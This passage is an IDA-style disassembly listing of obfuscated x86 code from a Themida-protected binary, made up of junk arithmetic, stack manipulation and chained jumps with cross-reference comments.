; ---------------------------------------------------------------------------


loc_5914E6:				; CODE XREF: Themida_:005923D9j
		xor	esi, [esp]
		pop	esp
		jmp	loc_58B68C
; ---------------------------------------------------------------------------


loc_5914EF:				; CODE XREF: Themida_:0058B010j
		add	ecx, 4
		push	esi
		mov	esi, 2
		jmp	loc_58E474
; ---------------------------------------------------------------------------


loc_591500:				; CODE XREF: Themida_:0058A71Fj
					; Themida_:0058F4B8j
		mov	ebx, edx
		jmp	loc_593E28
; ---------------------------------------------------------------------------


loc_591507:				; CODE XREF: Themida_:0058E007j
		push	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_594247
; ---------------------------------------------------------------------------


loc_591519:				; CODE XREF: Themida_:00592D85j
		add	edi, 2
		xchg	edi, [esp]
		jmp	loc_59299A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591527:				; CODE XREF: sub_58E66C+3437j
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58E534
; ---------------------------------------------------------------------------


loc_591539:				; CODE XREF: Themida_:loc_596455j
		jmp	loc_595FD2
; ---------------------------------------------------------------------------


loc_59153E:				; CODE XREF: Themida_:0058F35Aj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_591543:				; CODE XREF: Themida_:00593111j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		and	[esp], eax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59155E:				; CODE XREF: sub_593009-2FD3j
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+4+var_4]
		pop	esp
		or	edx, eax
		jmp	loc_590DAB
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591578:				; CODE XREF: sub_596082-738j
		add	esi, ecx
		jmp	loc_58F834
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59157F:				; CODE XREF: Themida_:00594FCDj
					; Themida_:loc_5975B9j
		and	ecx, 64BA4E1Fh
		jle	loc_5938FC
		push	ebp
		mov	ebp, 22F07D60h
		shl	ebp, 8
		sub	ebp, 0FDDD4A0Ah
		jmp	loc_58B404
; ---------------------------------------------------------------------------


loc_59159F:				; CODE XREF: Themida_:0059518Ej
		mov	ebp, edi
		jmp	loc_592216
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5915A6:				; CODE XREF: sub_596082-3022j
		mov	ecx, [esp+8+var_8]
		jmp	loc_5945B9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5915AE:				; CODE XREF: Themida_:0058F52Bj
		mov	ecx, 2
		jmp	loc_5975BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5915B8:				; CODE XREF: sub_58F160-43F7j
		sub	[esp-4+arg_4], 73731EE1h
		sub	[esp-4+arg_4], 12034986h
		add	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 12034986h
		add	[esp-4+arg_4], 73731EE1h
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_596E0C
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_5915E7:				; CODE XREF: Themida_:0058AB36j
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	661F6259h
		pop	edi
		mov	eax, edi
		pop	edi
		sub	eax, 36793B1Eh
		push	edx
		mov	edx, 6CD40D42h
		not	edx
		and	edx, 4F10278h
		sub	edx, 0D59AD92Fh
		jmp	loc_58ADDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_591616:				; CODE XREF: sub_596FD2-365Cj
		not	edi
		jmp	loc_58A595
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------


loc_59161D:				; CODE XREF: Themida_:005936FAj
		shl	ah, 4
		jmp	loc_59072D
; ---------------------------------------------------------------------------


loc_591625:				; CODE XREF: Themida_:00595A3Cj
		mov	[esp], edi
		push	ebp
		mov	ebp, 633A7FA4h
		sub	ebp, 633A7FA0h
		mov	edi, ebp
		pop	ebp
		add	esi, edi
		pop	edi
		jmp	loc_5908E3
; ---------------------------------------------------------------------------


loc_59163F:				; CODE XREF: Themida_:loc_5923BCj
		xor	eax, 38287A18h
		jmp	loc_58C644
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_591649:				; CODE XREF: sub_58F160+2DEj
		jmp	loc_58B8F9
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_59165E:				; CODE XREF: Themida_:005938D1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58EDF2
; ---------------------------------------------------------------------------


loc_591678:				; CODE XREF: Themida_:00590F3Cj
		jno	loc_59515C
		or	esi, 70927420h
		jmp	loc_58DE6A
; ---------------------------------------------------------------------------
		mov	dl, bl
; START	OF FUNCTION CHUNK FOR sub_58A50F


loc_59168B:				; CODE XREF: sub_58A50F+1DCCj
		not	edi
		jmp	loc_58E38B
; END OF FUNCTION CHUNK	FOR sub_58A50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_591692:				; CODE XREF: sub_596BF6-B854j
		shr	ebp, 4
		jmp	loc_595243
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_59169A:				; CODE XREF: sub_596498-B213j
					; Themida_:0058CBA4j
		xor	ecx, 0C3F5CC31h
		add	esi, ecx
		pop	ecx
		jmp	loc_58D1B0
; ---------------------------------------------------------------------------


loc_5916A8:				; CODE XREF: sub_596498-93CDj
		add	ebx, 4485756Bh
		pop	esi
		push	ebp
		jmp	loc_593997
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_5916B5:				; CODE XREF: Themida_:loc_592DD5j
		sub	ecx, 1587D09Dh
		push	ecx
		add	dword ptr [esp], 76653B1Ch
		pop	ebp
		jmp	loc_58D74A
; ---------------------------------------------------------------------------


loc_5916C9:				; CODE XREF: Themida_:00591EDAj
		add	bl, dl
		pop	edx
		jmp	loc_58DF96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_5916D1:				; CODE XREF: sub_5F45E7-65A33j
		xchg	ecx, [esp+24h+var_24]
		pop	esp
		push	eax
		mov	al, 78h
		jmp	loc_58FC27
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5916DD:				; CODE XREF: sub_596082-74E6j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5902B6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 1B58h
		mov	[esp], ax
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_5916FB:				; CODE XREF: sub_596498+B64j
		and	ecx, 5DB37A8Bh
		or	ecx, 618C2916h
		jmp	loc_590C5F
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
		xor	[esp], si
		xor	si, [esp]
		jmp	loc_59005F
; ---------------------------------------------------------------------------


loc_591719:				; CODE XREF: Themida_:00590875j
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	sub_595387
; ---------------------------------------------------------------------------


loc_591725:				; CODE XREF: Themida_:00597628j
		mov	edx, 78552D2h
		jmp	loc_590FF5
; ---------------------------------------------------------------------------


loc_59172F:				; CODE XREF: Themida_:005961CAj
		pop	edi
		jmp	loc_58A7C9
; ---------------------------------------------------------------------------


loc_591735:				; CODE XREF: Themida_:005940CBj
		not	edx
		jmp	loc_58FB8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F6F4


loc_59173C:				; CODE XREF: sub_58F6F4-1E33j
		pop	eax
		add	bl, al
		push	5BF9h
		mov	[esp+0], ecx
		push	edx
		mov	dh, 0A2h
		jmp	loc_593EE4
; END OF FUNCTION CHUNK	FOR sub_58F6F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59174F:				; CODE XREF: sub_58E66C+27B8j
		mov	eax, [esp+0]
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_58EB42
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59175B:				; CODE XREF: Themida_:0059244Dj
		add	edi, 4
		add	edi, 2
		jmp	loc_58FEEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_59176C:				; CODE XREF: sub_596498-3D2Cj
		sub	eax, edx
		pop	edx
		sub	[esp-4+arg_4], 0CD05957h
		sub	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 0CD05957h
		pop	eax
		pop	eax
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		jmp	loc_58F451
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_591790:				; CODE XREF: Themida_:0058E779j
		mov	edi, [esp]
		jmp	loc_58CDEB
; ---------------------------------------------------------------------------


loc_591798:				; CODE XREF: Themida_:0058B757j
		pop	eax
		jmp	loc_59266E
; ---------------------------------------------------------------------------


loc_59179E:				; CODE XREF: Themida_:0058BCF7j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_5917A3:				; CODE XREF: Themida_:00593830j
		pop	ebp
		jmp	loc_58C5E9
; ---------------------------------------------------------------------------


loc_5917A9:				; CODE XREF: Themida_:00594EA8j
		xor	eax, 3185759h
		and	eax, 400E5A6Ah
		not	eax
		jmp	loc_5946CE
; ---------------------------------------------------------------------------


loc_5917BA:				; CODE XREF: Themida_:0058DAD3j
		sub	bl, cl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	bl, 3Ah
		push	small 5D85h
		mov	[esp], dx
		mov	dl, bl
		not	dl
		push	eax
		jmp	loc_58BE0B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_5900C0
; ---------------------------------------------------------------------------


loc_5917E8:				; CODE XREF: Themida_:005931FBj
		pop	ecx
		jmp	loc_593169

; =============== S U B	R O U T	I N E =======================================



sub_5917EE	proc near		; CODE XREF: sub_596082-90A0j
					; sub_58E66C+5A74j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BA4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DDF2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058F281 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058FC59 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005910DC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591204 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593C0D SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00597076 SIZE 0000000F BYTES

		push	ebp
		push	edx
		jmp	loc_58BA4C
sub_5917EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_5917F5:				; CODE XREF: sub_596FD2-5BD8j
		pop	esp
		xor	ecx, 23F7F250h
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jnz	sub_5926EF
		push	1
		mov	edx, [esp-8+arg_4]
		sub	esp, 4
		jmp	loc_593142
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------


loc_59181A:				; CODE XREF: Themida_:0058EC34j
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	ebx
		push	397C6F2Bh
		pop	ebx
		add	ebx, 0EBECCD7Eh
		mov	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 3540710Fh
		jmp	loc_58B463
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59183C:				; CODE XREF: sub_596082-B13Ej
		pop	ecx
		push	ebp
		jmp	loc_595F1D
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591843:				; CODE XREF: sub_58E66C+26BAj
		pop	edi
		jmp	loc_58F130
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591849:				; CODE XREF: sub_596082-4524j
		push	dword ptr [edi+eax*4]
		push	[esp+10h+var_10]
		pop	eax
		jmp	sub_58D250
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_591855:				; CODE XREF: sub_594F3F-4D01j
		mov	edi, ebx
		pop	ebx
		shr	edi, 1
		shr	edi, 4
		jmp	loc_59776F
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_591862:				; CODE XREF: sub_5F45E7-6A057j
					; Themida_:0058EC96j
		add	esp, 4
		pop	[esp+2Ch+var_2C]
		jmp	loc_595548
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_59186D:				; CODE XREF: Themida_:00597323j
		not	ebx
		xchg	ebx, edi
		push	edx
		mov	edx, 91B1A5Ah
		sub	edx, 982D03B4h
		xor	edi, edx
		jmp	loc_58DC58
; ---------------------------------------------------------------------------


loc_591884:				; CODE XREF: Themida_:005974E7j
		push	edx
		mov	edx, 610A30C5h
		mov	esi, 3C9772Eh
		xor	esi, edx
		pop	edx
		add	esi, 0E787B8BEh
		mov	ebp, esi
		jmp	loc_58D62E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59189F:				; CODE XREF: sub_596082-3E0Ej
		sub	eax, ecx
		push	edx
		mov	edx, 374202B2h
		or	edx, 322B53B6h
		jmp	loc_594AF3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5918B2:				; CODE XREF: Themida_:0058FB76j
		add	esp, 4
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_595BB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_5918C3:				; CODE XREF: sub_58C878+458Cj
		pop	ebx
		push	edx
		mov	dh, cl
		mov	bh, dh
		jmp	loc_58C558
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5918CE:				; CODE XREF: sub_591C99+2A30j
		mov	ch, dh
		pop	edx
		xor	ch, 0A6h
		and	ch, 0A1h
		jz	loc_58EDAA
		not	ch
		push	bx
		mov	bh, ch
		neg	bh
		mov	ch, bh
		pop	bx
		jmp	loc_595393
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_5918EE:				; CODE XREF: sub_58D250-2801j
		mov	edx, [esp+4+var_4]
		add	esp, 4
		sub	ecx, 86C5113h
		sub	edx, ecx
		push	dword ptr [esp+0]
		jmp	loc_596DBB
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_58A532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BFA


loc_591912:				; CODE XREF: sub_595BFA-630j
		push	[esp+arg_0]
		pop	eax
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp-8+arg_4], ebp
		mov	ebp, 502165A3h
		add	[esp-8+arg_8], ebp
		pop	ebp
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		sub	eax, 502165A3h
		movzx	ax, byte ptr [eax]
		push	small 5E96h
		mov	word ptr [esp-0Eh+arg_8+2], ax
		jmp	loc_5965D6
; END OF FUNCTION CHUNK	FOR sub_595BFA
; ---------------------------------------------------------------------------


loc_591947:				; CODE XREF: Themida_:0059454Bj
		mov	esi, 4
		add	ebx, esi
		jmp	loc_58C2AE
; ---------------------------------------------------------------------------


loc_591953:				; CODE XREF: Themida_:005963E3j
		pop	edx
		push	ecx
		mov	ecx, 3B864DC7h
		and	ecx, 193F196Ch
		neg	ecx
		jmp	loc_5940B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D90C


loc_591967:				; CODE XREF: sub_58D90C+4DA1j
		neg	eax
		sub	eax, 88030CFDh
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp+0]
		jmp	loc_59347D
; END OF FUNCTION CHUNK	FOR sub_58D90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_591981:				; CODE XREF: sub_596BC4-6300j
		pop	edx
		pop	[esp+0Ch+var_C]
		pop	esp
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------


loc_59198B:				; CODE XREF: Themida_:0058C537j
		add	eax, 0C8E6482h
		add	eax, 5E7D4BB7h
		add	eax, ebx
		jmp	loc_594BB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59199C:				; CODE XREF: sub_58E66C+7B7Ej
		add	ebp, 2
		jmp	loc_594F32
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_5919AF:				; CODE XREF: Themida_:0058E303j
		mov	ecx, 2B713A7Ch
		or	ecx, 47985AF8h
		add	ecx, 9FD2F655h
		sub	edi, ecx
		pop	ecx
		mov	ebp, [esp]
		jmp	loc_58CD2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_5919CB:				; CODE XREF: sub_58E66C+82DAj
		shl	eax, 4
		or	eax, 75B80755h
		add	eax, 2011D9A6h
		add	ebx, eax
		pop	eax
		xor	eax, ebx
		jmp	loc_5930CF
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_5919E2:				; CODE XREF: Themida_:0058B9C5j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_5919E7:				; CODE XREF: sub_58E91C-1490j
		or	eax, eax
		jz	sub_58B09E
		push	30F0h
		jmp	loc_58ED27
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5919F9:				; CODE XREF: sub_596082-30E9j
		push	edx
		push	ecx
		mov	cl, ah
		mov	dl, cl
		pop	ecx
		jmp	loc_595193
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		pop	eax
		push	6FEAh
		jmp	loc_59059D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_591A16:				; CODE XREF: sub_591C99-D17j
		pop	eax
		mov	dh, 0CAh
		xor	dh, cl
		mov	ecx, [esp+2+var_4+2]
		jmp	loc_58BE3B
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591A23:				; CODE XREF: sub_596082-E17j
		mov	eax, 1730471h
		jmp	loc_58BC24
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59729F


loc_591A2D:				; CODE XREF: sub_59729F-8DE9j
		push	4FCCh
		jmp	loc_592DC9
; END OF FUNCTION CHUNK	FOR sub_59729F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_591A37:				; CODE XREF: sub_590B23-9Fj
		pop	[esp+4+var_4]
		pop	esp
		push	[esp-4+arg_0]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		jmp	loc_590E31
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------


loc_591A48:				; CODE XREF: Themida_:00594405j
		shr	edi, 7
		push	ebp
		mov	ebp, 8363733Ch
		add	edi, ebp
		pop	ebp
		jmp	loc_58E75F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591A59:				; CODE XREF: sub_596082-EECj
		pop	eax
		push	ebx
		jmp	loc_590F24
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_591A60:				; CODE XREF: sub_58D6A0+96CBj
		pop	edx
		shr	ecx, 0Ah
		push	5E65h
		mov	[esp+0], ebx
		push	ecx
		mov	ecx, 5E813A8Eh
		sub	[esp+4], ecx
		jmp	loc_58BB4E
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------


loc_591A7B:				; CODE XREF: Themida_:005900AAj
		push	edi
		push	77F8h
		jmp	loc_58F22E
; ---------------------------------------------------------------------------


loc_591A86:				; CODE XREF: Themida_:00594136j
		push	esp
		pop	ecx
		jmp	loc_5962CD
; ---------------------------------------------------------------------------


loc_591A8D:				; CODE XREF: Themida_:0058D3A4j
		mov	edi, esp
		jmp	loc_58E21C
; ---------------------------------------------------------------------------


loc_591A94:				; CODE XREF: Themida_:0058BBF7j
		pop	esp
		mul	ecx
		push	esi
		sub	esp, 4
		jmp	loc_592BC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591AA0:				; CODE XREF: sub_58E66C-24D2j
		xchg	edi, [esp+8+var_8]
		jmp	loc_591527
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_591AA8:				; CODE XREF: Themida_:00595A02j
		push	49E2h
		mov	[esp], edi
		push	6778h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_59385C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_591AC7:				; CODE XREF: sub_59425A-266Fj
		shl	edx, 1
		not	edx
		add	edx, 648E01FFh
		mov	ecx, edx
		jmp	loc_5946F9
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------


loc_591AD8:				; CODE XREF: Themida_:0059698Aj
		add	edi, 0F351D97Bh
		add	esi, edi
		jmp	loc_58FA56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_591AE5:				; CODE XREF: sub_5F45E7-5F321j
		xor	eax, [esp+28h+var_28]
		pop	esp
		add	eax, esi
		mov	esi, [esp+24h+var_24]
		jmp	loc_58E93D
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_591AF3:				; CODE XREF: Themida_:0059596Fj
		pop	ebx
		add	edi, 4
		jmp	loc_594DE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_591AFF:				; CODE XREF: sub_5925A4+BD9j
		mov	cx, word ptr [esp+8+var_A+2]
		push	ebp
		mov	ebp, esp
		jmp	sub_58C4A4
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_591B0B:				; CODE XREF: Themida_:00593CFDj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 5E01364Dh
		and	ebx, 40972261h
		jmp	loc_590522
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591B25:				; CODE XREF: sub_58E66C-EB2j
					; sub_5F45E7-5EE86j
		pop	edx
		movzx	eax, al
		mov	dx, word ptr [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58ABD1
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594239


loc_591B3B:				; CODE XREF: sub_594239-9107j
		mov	edx, 6C3F3C64h
		jmp	sub_58CE72
; END OF FUNCTION CHUNK	FOR sub_594239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591B45:				; CODE XREF: sub_596082-2007j
		mov	cx, word ptr [esp+18h+var_18]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		jmp	loc_58C9B8
; ---------------------------------------------------------------------------


loc_591B59:				; CODE XREF: sub_596082-3F41j
		xor	bl, al
		movzx	eax, al
		jmp	loc_591849
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59447B


loc_591B63:				; CODE XREF: sub_59447B-99E9j
		add	edi, ebp
		jmp	loc_595D4B
; END OF FUNCTION CHUNK	FOR sub_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_591B6A:				; CODE XREF: sub_591C99-5C63j
		not	ch
		shl	ch, 4
		jp	loc_5970AD
		shl	ch, 4
		jnz	loc_5927ED
		add	ch, 34h
		pop	edx


loc_591B82:				; CODE XREF: Themida_:00595929j
		sub	ebp, 2
		xchg	ebp, [esp+0]
		jmp	loc_58D4FC
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2D6


loc_591B8D:				; CODE XREF: sub_58E2D6+6Bj
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		or	eax, eax
		jz	sub_58E66C
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_58C473
; END OF FUNCTION CHUNK	FOR sub_58E2D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_591BB7:				; CODE XREF: sub_58C878-1FE0j
					; sub_5F45E7-649E3j
		mov	ebx, 432375Dh
		jmp	loc_595155
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_591BC1:				; CODE XREF: sub_59425A-3DE5j
		push	25EAh
		mov	[esp+8+var_8], ebp
		mov	ebp, 38B24702h
		mov	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+8+var_8], edx
		dec	[esp+8+var_8]
		mov	edx, [esp+8+var_8]
		add	esp, 4
		shl	edx, 8
		xchg	ecx, edx
		dec	ecx
		xchg	ecx, edx
		jmp	loc_591AC7
; END OF FUNCTION CHUNK	FOR sub_59425A
; ---------------------------------------------------------------------------


loc_591BF0:				; CODE XREF: Themida_:005946DEj
		add	esi, 574047DDh
		add	esi, 68C05EA6h
		jmp	loc_58E5D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591C01:				; CODE XREF: sub_596082-5FEEj
		pop	edi
		jmp	loc_58D127
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_591C07:				; CODE XREF: sub_58E66C+8665j
		or	ebx, 5822603Ch
		push	eax
		push	ecx
		mov	ecx, 2FCE5F1Dh
		mov	eax, 7A577E07h
		xor	eax, ecx
		mov	ecx, [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		jmp	loc_596770
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_591C29:				; CODE XREF: sub_58D966+E76j
		mov	[esp+4+var_4], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		jmp	loc_58ACA8
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_591C39:				; CODE XREF: sub_596082-8527j
		dec	edx
		and	edx, 440B4465h
		add	edx, 0FFFFFFFFh
		and	edx, 13C25B1Dh
		push	edi
		jmp	loc_58A994
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_591C52:				; CODE XREF: sub_58B09E+BEADj
		neg	esi
		xor	esi, 3FD4B50h
		add	esi, 60F253CAh
		sub	esi, 43AB36B9h
		not	esi
		sub	esi, 907806DBh
		add	eax, esi
		pop	esi
		pop	edi
		jmp	sub_59765D
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------


loc_591C77:				; CODE XREF: Themida_:0058FFCBj
					; Themida_:00590285j
		push	7FFh
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		jmp	loc_5957EC
; ---------------------------------------------------------------------------
